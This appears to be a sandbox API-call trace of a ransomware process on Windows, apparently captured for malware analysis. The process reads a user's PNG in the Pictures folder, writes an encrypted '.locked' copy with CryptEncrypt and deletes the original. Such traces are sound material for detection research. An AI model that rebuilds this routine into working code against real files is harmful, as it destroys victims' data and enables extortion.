lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.215] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.215] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.215] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.215] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.217] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.217] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0137.217] GetFileType (hFile=0x764) returned 0x1 [0137.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.218] GetFileType (hFile=0x764) returned 0x1 [0137.218] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.218] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0137.218] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.218] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.218] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.218] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked", lpFilePart=0x0) returned 0x35 [0137.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.219] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0137.219] GetFileType (hFile=0x778) returned 0x1 [0137.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.220] GetFileType (hFile=0x778) returned 0x1 [0137.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.220] CryptGenRandom (in: hProv=0x4396e78, dwLen=0x10, pbBuffer=0x6959b2c | out: pbBuffer=0x6959b2c) returned 1 [0137.220] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.220] CryptDuplicateKey (in: hKey=0x8e84df8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84cf8) returned 1 [0137.220] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.220] CryptSetKeyParam (hKey=0x8e84cf8, dwParam=0x4, pbData=0x695ade8*=0x1, dwFlags=0x0) returned 1 [0137.220] CryptSetKeyParam (hKey=0x8e84cf8, dwParam=0x1, pbData=0x695adb4, dwFlags=0x0) returned 1 [0137.220] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x3b0\x438\x242") returned 0x0 [0137.220] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.220] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.222] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.222] ReadFile (in: hFile=0x764, lpBuffer=0x695e40c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x695e40c*, lpNumberOfBytesRead=0x99ae7a8*=0xd4f8, lpOverlapped=0x0) returned 1 [0137.223] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6972418*, pdwDataLen=0x99ae79c*=0xd4f0, dwBufLen=0xd4f0 | out: pbData=0x6972418*, pdwDataLen=0x99ae79c*=0xd4f0) returned 1 [0137.223] WriteFile (in: hFile=0x778, lpBuffer=0x6959bec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6959bec*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0137.224] WriteFile (in: hFile=0x778, lpBuffer=0x6973404*, nNumberOfBytesToWrite=0xc504, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6973404*, lpNumberOfBytesWritten=0x99ae780*=0xc504, lpOverlapped=0x0) returned 1 [0137.225] ReadFile (in: hFile=0x764, lpBuffer=0x695e40c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x695e40c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0137.225] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x697f92c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x697f92c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0137.225] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x697f960*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x697f960*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0137.225] WriteFile (in: hFile=0x778, lpBuffer=0x6959bec*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6959bec*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0137.225] CloseHandle (hObject=0x778) returned 1 [0137.228] CloseHandle (hObject=0x764) returned 1 [0137.228] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.228] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.228] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.228] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.228] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.230] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png")) returned 0x20 [0137.230] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.231] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.231] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.231] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.231] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.231] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.231] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.231] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.231] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.231] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.231] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.231] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.232] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.232] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.232] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.232] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.232] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.232] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png")) returned 0x20 [0137.232] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.232] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.233] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0137.233] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.233] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png\\", lpFilePart=0x0) returned 0x2f [0137.233] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0137.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0137.233] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0137.233] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0137.233] CoTaskMemFree (pv=0x8eb8d30) [0137.234] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png")) returned 0x20 [0137.234] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.234] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0137.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png"), fInfoLevelId=0x0, lpFileInformation=0x69918a8 | out: lpFileInformation=0x69918a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c71d30, ftCreationTime.dwHighDateTime=0x1d4a39e, ftLastAccessTime.dwLowDateTime=0xa58cdf60, ftLastAccessTime.dwHighDateTime=0x1d4a742, ftLastWriteTime.dwLowDateTime=0xa58cdf60, ftLastWriteTime.dwHighDateTime=0x1d4a742, nFileSizeHigh=0x0, nFileSizeLow=0xd4f8)) returned 1 [0137.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0137.235] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png")) returned 1 [0137.237] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.237] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.237] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.237] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.237] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.238] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png.locked")) returned 0x20 [0137.238] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png.locked")) returned 0x20 [0137.238] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked", lpFilePart=0x0) returned 0x35 [0137.238] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked", lpFilePart=0x0) returned 0x35 [0137.238] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.238] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.238] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.239] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.239] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.239] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.241] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.241] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.241] 